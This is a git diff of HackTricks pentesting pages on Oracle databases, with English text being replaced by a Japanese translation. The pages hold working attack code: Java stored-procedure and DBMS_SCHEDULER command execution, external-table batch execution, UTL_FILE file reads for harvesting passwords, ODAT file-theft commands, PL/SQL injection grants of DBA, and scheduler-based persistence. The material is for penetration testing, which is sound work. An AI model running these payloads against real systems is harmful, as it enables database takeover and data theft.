https://github.com/quentinhardy/odat/releases/ +download the latest +tar -xvf odat-linux-libc2.12-x86_64.tar.gz +cd odat-libc2.12-x86_64/ +./odat-libc2.12-x86_64 all -s 10.10.10.82 - for more details check https://github.com/quentinhardy/odat/wiki +for more details check https://github.com/quentinhardy/odat/wiki - https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener Entry_2: - Name: Nmap - Description: Nmap with Oracle Scripts - Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP} +Name: Nmap +Description: Nmap with Oracle Scripts +Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP} ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md index 5089065dd..cc93810bc 100644 --- a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md +++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md @@ -1,46 +1,41 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Installation of tools (sqlplus) and needed libraries to use the oracle MSF modules +# ツール(sqlplus)とOracle MSFモジュールを使用するために必要なライブラリのインストール -_(This installation guide was created for version 12.1.0.1.0, change that name for the version that you download)_ +_(このインストールガイドはバージョン12.1.0.1.0用に作成されました。ダウンロードするバージョンに合わせて名前を変更してください)_ -As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are: +rootとして、ディレクトリ`/opt/oracle`を作成します。次に、Kali Linuxのバージョンに合わせて[Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html)パッケージをダウンロードします。必要なパッケージは次のとおりです。 * instantclient-basic-linux-12.1.0.1.0.zip * instantclient-sqlplus-linux-12.1.0.1.0.zip * instantclient-sdk-linux-12.1.0.1.0.zip -Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_1/`. Next symlink the shared library that we need to access the library from oracle: - +これらを`/opt/oracle`に解凍し、`/opt/oracle/instantclient_12_1/`というパスが作成されます。次に、Oracleからライブラリにアクセスするために必要な共有ライブラリにシンボリックリンクを作成します。 ``` # ln libclntsh.so.12.1 libclntsh.so # ls -lh libclntsh.so lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1 # ldconfig ``` - -You also need to configure the appropriate environment variables, add the following to either +適切な環境変数を設定する必要もあります。以下を次のいずれかに追加してください。 * \~/.bashrc * /etc/profile - ``` export PATH=$PATH:/opt/oracle/instantclient_12_1 export SQLPATH=/opt/oracle/instantclient_12_1 @@ -48,31 +43,51 @@ export TNS_ADMIN=/opt/oracle/instantclient_12_1 export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1 export ORACLE_HOME=/opt/oracle/instantclient_12_1 ``` - -Add Oracle libraries to ldconfig: - +Oracleライブラリをldconfigに追加します。 ``` echo "/opt/oracle/instantclient_12_1/" >> /etc/ld.so.conf.d/99_oracle ``` - -If you have succeeded, you should be able to run `sqlplus` from a command prompt **(you may need to log out and log back in again)**: - +成功した場合、コマンドプロンプトから `sqlplus` を実行できるはずです **(ログアウトして再ログインする必要があるかもしれません)**: ``` sqlplus /@/; ``` +## **ステップ2 - Ruby Gem ruby-oci8のインストール** -## **Step Two — Install Ruby Gem ruby-oci8** - -_These steps are needed to use metasploit oracle modules_ - -**Install other OS dependencies:** +_これらの手順は、MetasploitのOracleモジュールを使用するために必要です_ +**他のOSの依存関係をインストールする:** ``` apt-get install libgmp-dev ``` +**ruby-oci8のコンパイルとインストール(root)** -**Compile and install ruby-oci8 (root)** +```bash +# Rubyのバージョンを確認 +ruby -v +# 必要なパッケージをインストール +sudo apt-get install ruby-dev libaio-dev + +# ruby-oci8をダウンロード +wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.10.tar.gz + +# ダウンロードしたファイルを展開 +tar zxvf ruby-oci8-2.2.10.tar.gz + +# 展開したディレクトリに移動 +cd ruby-oci8-ruby-oci8-2.2.10 + +# ruby-oci8をコンパイル +ruby extconf.rb + +# コンパイルされたファイルをビルド +make + +# ビルドされたファイルをインストール +sudo make install +``` + +以上の手順で、ruby-oci8をコンパイルしてインストールすることができます。 ``` wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip unzip ruby-oci8-2.1.8.zip @@ -84,24 +99,21 @@ make make install gem install ruby-oci8 ``` - -Restart msfconsole (or restart the computer). +msfconsoleを再起動します(またはコンピュータを再起動します)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md index db7da3af2..41c7a2afd 100644 --- a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md +++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md @@ -1,146 +1,123 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# RCE: Java Store Procedure - -So, imagine that you have the administrator account information. In this case, a very popular way to execute your command on the server is to write a ‘java stored’ procedure. This is done in three stages. First, create a Java class called ‘oraexec’. To do this, connect via ‘sqlplus’ terminal and write: +# RCE: Javaストアドプロシージャ +さて、管理者アカウントの情報を持っていると想像してください。この場合、サーバー上でコマンドを実行する非常に一般的な方法は、'java stored'プロシージャを作成することです。これは3つのステージで行われます。まず、'oraexec'という名前のJavaクラスを作成します。これを行うには、'sqlplus'ターミナルを介して接続し、次のように入力します: ```text create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; - public class oraexec - { - public static void execCommand(String command) throws IOException - { - Runtime.getRuntime().exec(command); - } - } +public class oraexec +{ +public static void execCommand(String command) throws IOException +{ +Runtime.getRuntime().exec(command); +} +} / - + ``` - -Next, write a PL/SQL wrapper for this class: - +次に、このクラスのためのPL/SQLラッパーを作成します。 ```text create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; / ``` - -That’s it. Now, to execute a command, all you need is just to send the following query: - +それだけです。コマンドを実行するには、次のクエリを送信するだけです。 ```text exec javacmd('command'); ``` - -Note that when using the above procedure, we cannot see the results of executed command, however, you can redirect the output to a file and read it. You can find the full code of the shell that allows to read and write files: +上記の手順を使用する場合、実行されたコマンドの結果を表示することはできませんが、出力をファイルにリダイレクトして読むことができます。ファイルの読み書きを可能にするシェルの完全なコードは次のとおりです: {% file src="../../.gitbook/assets/raptor\_oraexec.sql" %} -However, there is a \[more sophisticated script\] \(goo.gl/EuwPRU\) that handles the command output, but it has a larger size [here](https://oracle-base.com/articles/8i/shell-commands-from-plsql). +ただし、コマンドの出力を処理する\[より洗練されたスクリプト\] \(goo.gl/EuwPRU\) もありますが、サイズが大きいため、[こちら](https://oracle-base.com/articles/8i/shell-commands-from-plsql) で入手できます。 -# RCE: Scheduler - -The next method, which will help us if there is no Java virtual machine, is to use ‘dbmsscheduler’, the built-in task scheduler of Oracle. To use it, you must have the privilege ‘CREATE EXTERNAL JOB’. Here’s a code sample that implements the entry of ‘0wned’ string into a text file in the root of the C: drive: +# RCE: スケジューラ +次の方法は、Java仮想マシンがない場合に役立つもので、Oracleの組み込みタスクスケジューラである 'dbmsscheduler' を使用します。使用するには、 'CREATE EXTERNAL JOB' の特権が必要です。以下は、C:ドライブのルートにテキストファイルに '0wned' 文字列を入力するコードのサンプルです: ```text exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE); -exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE); +exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE); ``` - -This will create and run a job for executing your command. And here’s an option for calling the Scheduler from another procedure – ‘SYS.KUPP$PROC.CREATE\_MASTER\_PROCESS’, which is of interest to us, primarily, because it allows you to embed multi-statement queries, that is, those consisting of multiple sub-queries. Theoretically, you can run such query even in case of injection into a web application. - +これにより、コマンドを実行するためのジョブが作成され、実行されます。そして、別の手続きからスケジューラを呼び出すためのオプションがあります - 'SYS.KUPP$PROC.CREATE\_MASTER\_PROCESS'。これは、私たちにとって興味深いものです。なぜなら、これにより、複数のサブクエリから構成されるマルチステートメントクエリを埋め込むことができるからです。理論的には、ウェブアプリケーションへのインジェクションの場合でも、このようなクエリを実行することができます。 ```text select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq>>C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''jobx'',program_name=>''xxx'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''xxx'');dbms_scheduler.purge_log;') from dual ``` +注意してください。スケジューラを使用すると、このジョブを複数回実行し、一定の頻度で実行することができます。その結果、テスト対象のシステムに足がかりを得るのに役立ちます。なぜなら、管理者がOSからユーザーを削除しても、システムで定期的に実行されるこのジョブによって、ユーザーは復活するからです。 -Note that, when you use the Scheduler, you can run this job more than once and do it with some frequency. As a result, this will help you get a foothold in the tested system, because, even if the administrator deletes the user from OS, this job, which is regularly running in the system, will bring him or her back to life. +# RCE: 外部テーブル -# RCE: External Tables - -As the last method for achieving the execution of OS commands, I would like to mention the use of External Tables. This method will help you later download files from the server. You will need the following privileges: +OSコマンドの実行を達成するための最後の方法として、外部テーブルの使用を挙げたいと思います。この方法は、後でサーバーからファイルをダウンロードするのに役立ちます。以下の特権が必要です: * UTL\_FILE; * CREATE TABLE; -* a directory reserved for the user. - -Let’s remember that the access to ‘UTL\_FILE’ package is by default provided to all accounts with ‘CONNECT’ role. Step one: Check the issued directories with the following query: +* ユーザー用に予約されたディレクトリ。 +UTL\_FILEパッケージへのアクセスは、デフォルトで「CONNECT」ロールを持つすべてのアカウントに提供されます。ステップ1:次のクエリを使用して発行されたディレクトリを確認します: ```text SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN (SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY') and privilege='EXECUTE' ORDER BY GRANTEE; - + TABLE_NAME ------------------------------ ALICE_DIR ``` - -Step two: Create an executable batch file with desired command: - +ステップ2:望むコマンドを含む実行可能なバッチファイルを作成します。 ```text declare - f utl_file.file_type; - s varchar2(200) := 'echo KOKOKO >> C:/pwned'; +f utl_file.file_type; +s varchar2(200) := 'echo KOKOKO >> C:/pwned'; begin - f := utl_file.fopen('ALICE_DIR','test.bat','W'); - utl_file.put_line(f,s); - utl_file.fclose(f); +f := utl_file.fopen('ALICE_DIR','test.bat','W'); +utl_file.put_line(f,s); +utl_file.fclose(f); end; / ``` - -Step three: Prepare the external table ‘EXTT’, you will need it to run the file: - +ステップ3:外部テーブル 'EXTT' を準備します。このテーブルは、ファイルを実行するために必要です。 ```text CREATE TABLE EXTT (line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader - DEFAULT DIRECTORY ALICE_DIR - ACCESS PARAMETERS - ( RECORDS DELIMITED BY NEWLINE - FIELDS TERMINATED BY ',') - LOCATION (alice_dir:'test.bat')) +DEFAULT DIRECTORY ALICE_DIR +ACCESS PARAMETERS +( RECORDS DELIMITED BY NEWLINE +FIELDS TERMINATED BY ',') +LOCATION (alice_dir:'test.bat')) / ``` - -Now, just call your batch file with the following command: - +さあ、以下のコマンドでバッチファイルを呼び出してください: ```text SELECT * from EXTT; ``` +ターミナルには、システムがテーブルと呼び出されたファイルを一致させることができないというエラーメッセージが表示され始めますが、この場合は重要ではありません。なぜなら、実行可能ファイルを開くことが主な目的であり、それは達成されているからです。 -The terminal will start to display error messages that the system cannot match the table and invoked file but, in this case, it is not important, as the main objective was to open the executable file, which you have achieved. +また、'ODAT.py'ユーティリティもこの攻撃を実行することができます。ただし、これにはデフォルトでDBAロールにのみ付与される特権 'CREATE ANY DIRECTORY' が必要です。なぜなら、このユーティリティは "あなたの" ディレクトリだけでなく、任意のディレクトリからファイルを実行しようとするためです。 -‘ODAT.py’ utility also can implement this attack. However, it requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory. - -# Read/Write files - -Now, let’s proceed to the task of reading and writing the files. If you simply need to read or write a file to the server, you can do it without any Java procedures, which, however, can also handle such tasks. Let’s have a look into ‘UTL\_FILE’ package that has the functionality required for working with the file system. The good news is that, by default, it can be accessed by all users with ‘PUBLIC’ role. The bad news is that, by default, this procedure has no access to the entire file system, but only to a directory pre-defined by the administrator. However, it is not uncommon to find a directory parameter specified as ‘\*’, which literally means “access to everything.” You can find this out by using the following command: +# ファイルの読み書き +さて、ファイルの読み書きのタスクに進みましょう。サーバーに単純にファイルを読み書きする必要がある場合、Javaプロシージャなしで行うことができますが、Javaプロシージャでもこれらのタスクを処理することができます。ファイルシステムとの作業に必要な機能を持つ 'UTL_FILE' パッケージを見てみましょう。良いニュースは、デフォルトで 'PUBLIC' ロールを持つすべてのユーザーがアクセスできることです。悪いニュースは、デフォルトではこの手続きがファイルシステム全体にアクセスできないことですが、管理者によって事前に定義されたディレクトリにのみアクセスできます。ただし、ディレクトリパラメータが '*' と指定されていることは珍しくありません。これは文字通り「すべてへのアクセス」を意味します。次のコマンドを使用してこれを確認できます: ```text select name, value from v$parameter where name = 'utl_file_dir'; With appropriate rights, you can expand the access by using the following query: alter system set utl_file_dir='*' scope =spfile; ``` - -I found that the shortest procedure for using ‘UTL\_FILE’ package is proposed by Alexander Polyakov: - +私は、Alexander Polyakovが提案した「UTL_FILE」パッケージの使用に関する最短手順を見つけました。 ```text SET SERVEROUTPUT ON declare @@ -157,41 +134,33 @@ when no_data_found then UTL_FILE.FCLOSE(f); end; / - + ``` - -If you need more functionality with the ability to write, I recommend to google a script called ‘raptor\_oraexec.sql’. And according to tradition, here’s an option for using ‘ODAT’ utility, which, as always, is the shortest: - +もし書き込み機能を備えたさらなる機能が必要な場合は、'raptor_oraexec.sql'というスクリプトをGoogleで検索することをおすすめします。そして伝統に従って、いつものように最短の方法である 'ODAT' ユーティリティの使用方法も以下に示します。 ```text ./odat.py utlfile -s -d -U -P --getFile "C:/test" token.txt token.txt ``` +‘UTL_FILE’パッケージも非常に興味深いです。運が良ければ、ログや設定ファイルにアクセスし、特権アカウント(例:‘SYS’)からパスワードを取得することができます。 -‘UTL\_FILE’ package is also very interesting because if you’re lucky, you can reach the logs, configuration files and obtain passwords from privileged accounts, such as ‘SYS’. - -The second method that I would like to mention is to use again the ‘External Tables’. Remember that, when using ‘External Tables’, the database can access in read mode the data from external tables. For a hacker, this means yet another opportunity to download files from the server, but this method requires ‘CREATE ANY DIRECTORY’ privilege. I suggest immediately using ‘ODAT’, as it is stable and fast: - +2つ目の方法は、再び「External Tables」を使用することです。外部テーブルを使用すると、データベースは外部テーブルから読み取り専用でデータにアクセスできます。ハッカーにとっては、サーバーからファイルをダウンロードする別の機会がありますが、この方法には「CREATE ANY DIRECTORY」特権が必要です。安定して高速な「ODAT」をすぐに使用することをおすすめします。 ```text ./odat.py externaltable -s -U -P -d --getFile "C:/test" "my4.txt" "my" ``` +# 特権の昇格 -# Elevating Privileges +特権の昇格には、クラシックなバッファオーバーフローやDLLパッチングから、PL/SQLインジェクションなどのデータベースに対する特殊な攻撃まで、さまざまな方法があります。この記事では詳しくは触れませんが、\[Lichfield\] \(goo.gl/IebQN4\) や \[Finnigan\] \(goo.gl/vXhttf\) のブログなどで詳しく説明されています。ここではいくつかの方法を紹介するだけで、一般的なアイデアを把握してもらいます。テスト中は、現在の特権に注意を払い、それに基づいてインターネット上で望ましい脆弱性を探すことをお勧めします。 -You can use various methods to elevate privileges, ranging from classic buffer overflows and DLL patching to specialized attacks against databases, such as PL/SQL injections. The topic is very extensive and, in this article, I will not dwell on it, as this is discussed in large research papers, such as those found in the blogs of \[Lichfield\] \(goo.gl/IebQN4\) and \[Finnigan\] \(goo.gl/vXhttf\). I will just demonstrate some of them, so that you have a general idea. During the testing, I recommend simply paying attention to current privileges and, based on this, search for desired loopholes in the Internet. +MS SQLとは異なり、Oracle DBでは、単純に引用符で閉じることで'SELECT'の直後に'xp\_cmdshell'を注入することはできません。そのため、私たちは常にクラシックなSQLインジェクションに頼ることはできませんが、この場合でも解決策を見つけることは可能です。私たちはPL/SQLインジェクションを考えます。これは、利用可能な入力パラメータにランダムなコマンドを埋め込むことで、手続き(関数、トリガー、その他のオブジェクト)の実行プロセスを変更するものです。 \(c\) Sh2kerr -Unlike MS SQL, where an attacker can inject ‘xp\_cmdshell’ almost immediately after ‘SELECT’ by simply closing it with a quotation mark, Oracle DB flatly rejects such tricks. For this reason, we cannot every time resort to classical SQL injections although, in this case, too, it is possible to find a way out. We will consider PL/SQL injections, which are modifying the process of executing a procedure \(function, trigger, and other objects\) by embedding random commands into available input parameters. \(с\) Sh2kerr - -In order to embed the payload, find a function where the input parameters are not filtered. Remember that Oracle SQL does not allow multi-statement \(multiple\) queries, therefore, most likely, you will need to use some “special” procedures that have this feature. The main idea behind the attack is as follows: By default, unless specified otherwise, the procedure is executed on behalf of the owner and not on behalf of the user who started it. In other words, if a procedure owned by ‘SYS’ account is available for execution and you can embed your code into it, your payload will also be executed in the context of ‘SYS’ account. As I already mentioned, this is not what happens always, as there are procedures with ‘authid current\_user’ parameter, which means that this procedure will be executed with privileges of the current user. However, usually in each version, you can find some functions that are vulnerable to PL/ SQL injection. A general view of this process is shown in Fig. 2. +ペイロードを埋め込むためには、入力パラメータがフィルタリングされていない関数を見つける必要があります。Oracle SQLでは、マルチステートメント(複数の)クエリは許可されていないため、おそらくこの機能を持ついくつかの「特別な」手続きを使用する必要があるでしょう。攻撃の主なアイデアは次のとおりです。デフォルトでは、指定しない限り、手続きは所有者の代わりに実行され、それを開始したユーザーの代わりに実行されません。つまり、'SYS'アカウントが所有する手続きが実行可能であり、その中にコードを埋め込むことができる場合、ペイロードも'SYS'アカウントのコンテキストで実行されます。すべての場合に当てはまるわけではありませんが、'authid current\_user'パラメータを持つ手続きもあり、これは現在のユーザーの特権で実行されることを意味します。ただし、通常、各バージョンでPL/SQLインジェクションの脆弱性がある関数を見つけることができます。このプロセスの一般的な概要は図2に示されています。 [![inject](https://hackmag.com/wp-content/uploads/2015/04/inject.png)](https://hackmag.com/wp-content/uploads/2015/04/inject.png) -In short, instead of expected legitimate argument, we pass some malicious code that becomes a part of procedure. A good example is provided by ‘CTXSYS.DRILOAD’ function. It is executed on behalf of ‘CTXSYS’ and does not filter the input parameter, which allows you to easily rise up to DBA: - +要するに、予想される正当な引数の代わりに、悪意のあるコードを渡すことで、手続きの一部になります。良い例としては、'CTXSYS.DRILOAD'関数があります。これは'CTXSYS'の代わりに実行され、入力パラメータをフィルタリングしないため、簡単にDBAに昇格することができます。 ```text exec ctxsys.driload.validate_stmt('grant dba to scott'); ``` - -However, by now, this is probably history, since the vulnerability was found in 2004, and it affects only the old versions 8–9. Usually, the process of escalating the privileges is divided into two parts: writing the procedure that increases the rights and performing the injection itself. A typical procedure is as follows: - +しかし、おそらくこれは過去の話であり、この脆弱性は2004年に発見され、古いバージョン8-9にのみ影響を与えます。通常、特権の昇格プロセスは2つのパートに分かれています:権限を増やす手順の作成とインジェクションの実行。典型的な手順は次のとおりです: ```text CREATE OR REPLACE FUNCTION F1 RETURN NUMBER AUTHID CURRENT_USER @@ -202,55 +171,42 @@ EXECUTE IMMEDIATE 'GRANT DBA TO TEST'; COMMIT;RETURN(1);END; / ``` - -Now we can inject a procedure as an argument of vulnerable function \(example for versions 10x\): - +以下は、脆弱な関数の引数として手続きをインジェクトする方法です(バージョン10xの例): ```text exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 –-'); ``` - -In the not too recent versions 10 and 11, there is one “nice” exception, or rather a vulnerability, that allows you to execute commands on the server without having DBA rights: ‘DBMS\_JVM\_EXP\_PERMS’ procedure allows a user with ‘CREATE SESSION’ privilege to get ‘JAVA IO’ rights. The attack can be mounted as follows: - +最近のバージョン10と11では、1つの「良い」例外、つまり脆弱性があります。これにより、DBA権限を持たないユーザーでもサーバー上でコマンドを実行することができます。'DBMS\_JVM\_EXP\_PERMS'プロシージャは、'CREATE SESSION'特権を持つユーザーに対して'JAVA IO'権限を取得することができます。攻撃は以下のように行われます: ```text SQL> DECLARE - POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; - CURSOR C1 IS SELECT +POL 